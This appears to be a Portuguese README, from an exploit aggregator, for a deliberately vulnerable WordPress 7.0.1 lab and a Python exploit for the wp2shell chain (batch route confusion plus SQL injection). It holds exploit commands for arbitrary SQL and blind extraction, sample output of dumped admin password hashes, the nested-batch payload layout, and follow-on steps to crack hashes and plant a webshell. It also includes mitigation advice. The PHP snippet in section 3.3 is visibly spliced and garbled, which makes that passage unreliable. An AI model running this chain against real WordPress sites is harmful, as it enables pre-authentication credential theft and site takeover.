Share
## https://sploitus.com/exploit?id=365F3BD1-B4A2-55D0-B803-7A88A3839E09
# Lab — CVE-2026-63030 (“wp2shell”) + CVE-2026-60137

Ambiente Docker **intencionalmente vulnerável** com WordPress Core **7.0.1** e um
exploit em Python que demonstra a cadeia *pré-autenticação* **wp2shell**:

| CVE | Componente | O que é |
|-----|------------|---------|
| **CVE-2026-63030** | REST API `/wp-json/batch/v1` | *Route confusion*: dessincronização entre validação e dispatch de sub-requests |
| **CVE-2026-60137** | `WP_Query` (`author__not_in`) | SQL injection quando o valor é uma **string** em vez de array |

Encadeadas, permitem que um atacante **sem nenhuma credencial** execute SQL arbitrário
(e, na sequência completa, chegue a RCE). Corrigido no WordPress **6.9.5** e **7.0.2**.
Versões afetadas pela cadeia RCE: **6.9.0–6.9.4** e **7.0.0–7.0.1**.

> ⚠️ **Aviso**: ambiente propositalmente inseguro. Use **apenas localmente**, isolado.
> Nunca exponha na internet. O exploit deve ser usado somente contra este lab (ou
> sistemas para os quais você tenha autorização explícita).

---

## 1. Subir o ambiente

```bash
docker compose up -d db wordpress      # sobe MySQL + WordPress 7.0.1
docker compose run --rm wpcli          # instala o WP e cria conteúdo/usuários
```

Isso cria:
- Site em **http://localhost:8080**
- `admin`  / `SuperSecret123!`
- `victim` / `Victim_P@ss_2026`  (segundo admin, alvo da extração de hash)
- 1 post publicado (necessário para o `get_items()` retornar linhas)

Confirme a versão vulnerável:

```bash
curl -s "http://localhost:8080/index.php?rest_route=/" | grep -o '"version":"[^"]*"'
# ... ou:
docker exec wp2shell-cli wp core version   # 7.0.1
```

## 2. Rodar o exploit

```bash
python3 exploit.py --url http://localhost:8080
```

Saída (resumida):

```
[+] Route confusion OK: GET /wp/v2/users executou sob posts get_items()
[+] SQL injection cega confirmada (oráculo booleano 1=1 vs 1=2)
[*] Fingerprint do banco de dados:
    versão MySQL  = 8.0.46
    usuário atual = wordpress@%
    database      = wordpress
[+] Credenciais extraídas (pré-autenticação, sem login):
  ID=1  login=admin
    hash=$wp$2y$10$tjd0.l/QQOhp9eQpwrufMuYVrjv4kVoJMfmA3f2ZZew51rND7o94q
  ID=2  login=victim
    hash=$wp$2y$10$3Nv1oxyfIe/yKqNd/AUZSOZqQYWiJHfNAKBPdbjMhqTtVBDbuBO0e
```

Outras opções:

```bash
python3 exploit.py --url http://localhost:8080 --sql "SELECT @@version"   # SQL arbitrário
python3 exploit.py --url http://localhost:8080 --mode time                # blind time-based
python3 exploit.py --url http://localhost:8080 -v                         # mostra cada query
```

O exploit usa apenas a biblioteca padrão do Python 3 (sem dependências).

### Validar que os dados vazados são reais

```bash
docker exec wp2shell-db mysql -uroot -prootpass -N \
  -e "SELECT ID,user_login,user_pass FROM wordpress.wp_users;"
```

Os hashes devem ser **idênticos** aos extraídos pelo exploit (que nunca teve acesso ao banco).

---

## 3. Como a cadeia funciona (mecânica real, verificada no código)

### 3.1 O bug de dessincronização (`serve_batch_request_v1`)

Em `wp-includes/rest-api/class-wp-rest-server.php`, o handler do batch usa **dois arrays
paralelos**: `$matches` (rota/handler casados) e `$validation` (resultado da validação):

```php
foreach ( $requests as $single_request ) {
    if ( is_wp_error( $single_request ) ) {   // ex.: path "///" -> wp_parse_url()==false
        $has_error    = true;
        $validation[] = $single_request;        //  desync!
    }
    $match     = $this->match_request_to_handler( $single_request );
    $matches[] = $match;
    ...
    $validation[] = $error ? $error : true;
}
```

No dispatch, o handler é lido por índice em `$matches[$i]`, enquanto `$single_request`
e `$validation[$i]` seguem o índice completo de `$requests`. Um **primer** que falha o
parse (`"///"`) empurra tudo em `$matches` uma posição — então uma sub-request é
**executada sob o handler de outra**.

### 3.2 O smuggling de sub-requests GET (batch aninhado)

O schema do batch só aceita métodos `POST/PUT/PATCH/DELETE` (GET é rejeitado com
`rest_not_in_enum`). O exploit contorna isso com **batch dentro de batch**:

```
BATCH EXTERNO (métodos válidos):
  [ primer("///"),
    carrier = POST /wp/v2/posts  (body = BATCH INTERNO),
    POST /batch/v1 ]
```

- O `carrier` é **validado** como `create_item` de posts (passa: `allow_batch=true`, sem
  params obrigatórios). Como *não* é validado como batch, seu `body` **escapa da validação
  do enum de método**.
- O desync externo faz o `carrier` ser **despachado sob o handler `/batch/v1`** (roubado da
  3ª sub-request) → `serve_batch_request_v1` processa o body cru, com sub-requests **GET**.

### 3.3 Chegando ao sink SQL

```
BATCH INTERNO:
  [ primer("///"),
    GET /wp/v2/users?author_exclude=,    valor cru
    GET /wp/v2/posts ]
```

Novo desync interno → a request `GET /wp/v2/users` (carregando `author_exclude` **não
sanitizado**) é executada sob **`posts get_items()`**. Lá:

```php
// class-wp-rest-posts-controller.php
'author_exclude' => 'author__not_in',   // mapeamento
```

E em `WP_Query` (`class-wp-query.php`), o código vulnerável:

```php
if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {          // posts}.post_author NOT IN ($author__not_in) ";   // )-- -`, transformando o `WHERE` em oráculo
(lista com posts = verdadeiro; lista vazia = falso). Extração char-a-char por busca binária.

> Nota: o caminho é alcançável quando **não há object cache persistente** (o padrão do lab),
> como descrito no advisory.

---

## 4. Sequência completa até RCE (wp2shell)

Este lab valida a parte **pré-autenticação** (route confusion → SQLi → vazamento de hashes),
que é o coração da cadeia. A sequência completa do advisory continua com:

1. Quebrar o hash `$wp$2y$...` (bcrypt) offline — `hashcat -m 3200`.
2. Logar em `/wp-admin` com a senha recuperada.
3. Subir um plugin PHP malicioso (ou editar tema) → **webshell / RCE**.

## 5. Mitigação

- Atualizar o WordPress Core para **6.9.5 / 7.0.2** (ou superior). O patch:
  - força `author__not_in` a inteiros (`wp_parse_id_list`) mesmo quando é string;
  - garante que erros de batch ocupem posição em **ambos** os arrays (fim do desync).
- Mitigações compensatórias: WAF filtrando `/wp-json/batch/v1`, desabilitar a REST API
  não autenticada, monitorar requests com `author_exclude` contendo SQL.

## 6. Limpeza

```bash
docker compose down -v      # remove containers + volumes (dados)
```

---

## Referências

- Rapid7 — [ETR: CVE-2026-63030 wp2shell](https://www.rapid7.com/blog/post/etr-cve-2026-63030-wp2shell-a-critical-remote-code-execution-vulnerability-in-wordpress-core/)
- The Hacker News — [New wp2shell WordPress Core Flaw](https://thehackernews.com/2026/07/new-wp2shell-wordpress-core-flaw-lets.html)
- ZSec — [wp2shell Code Trace Deep Dive](https://blog.zsec.uk/wp2shell-code-trace-deep-dive/)
- Mallory.ai — [CVE-2026-63030 REST API Batch Route Confusion](https://mallory.ai/vulnerabilities/CVE-2026-63030)
- Penligent — [wp2shell: Patch Priority & Safe Validation](https://www.penligent.ai/hackinglabs/cve-2026-63030-wp2shell/)